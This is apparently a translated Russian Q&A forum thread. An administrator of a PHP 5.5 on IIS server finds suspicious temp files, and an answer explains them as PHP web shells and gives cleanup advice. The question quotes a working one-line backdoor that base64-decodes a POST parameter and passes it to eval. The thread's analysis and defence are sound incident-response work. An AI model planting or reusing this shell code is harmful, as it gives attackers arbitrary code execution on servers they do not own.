Я заметил, что наш временный каталог имеет ряд временных файлов с именами, такими как phpA3F9.tmp
Просматривая содержимое, я нахожу число, за которым следует некоторый код PHP, следующий код появляется в нескольких файлах
9990000
<?php
$mujj = $_POST['z']; if ($mujj!="") { $xsser=base64_decode($_POST['z0']); @eval("\$safedg = $xsser;"); } ?>
Похоже, что это попытка атаки, но я полагаю, что это зависит от способности атакующего выполнить код в папке tmp.
Кто-нибудь может объяснить, что здесь происходит? Каковы риски? Как эти файлы попадают в папку TMP? И как мне их остановить?
Я не знаю, насколько это актуально, но мы запускаем PHP 5.5 на IIS
Короткая история: ваш сервер, возможно, уже был взломан.
Это PHP-оболочки — в основном безвредные там, где они есть, но если они попадут в ваш веб-корень, они позволят злоумышленнику выполнить любой произвольный код на вашем сервере.
Ключевые части для понимания оболочки:
$xsser=base64_decode($_POST['z0']);
@eval("\$safedg = $xsser;");
Он принимает любой код от $_POST
переменная, base64_decode
с, а затем проходит через eval
подавляя любые ошибки.
Возможно, что они загружаются через форму на вашем сайте и помещаются в временную папку в качестве промежуточного шага с надеждой, что они будут перемещены в веб-доступное место. Другой вариант заключается в том, что на вашем сервере уже есть оболочка или руткит, и он помещает эти файлы в любые доступные для записи папки, которые он может найти.
Так что с этим делать? Проверьте журналы вашего сервера — если вы видите какие-либо успешные соединения со скриптом, который вы не распознаете, вы можете быть скомпрометированы. Найдите все формы загрузки на своем сайте и заблокируйте их (требуйте аутентификацию пользователя и т. Д.), А затем, если вы уверены, что скомпрометированы, не пытайтесь их очистить. Раскрутите новый сервер, перенесите чистый код, важные файлы и данные на чистый сервер.
Других решений пока нет …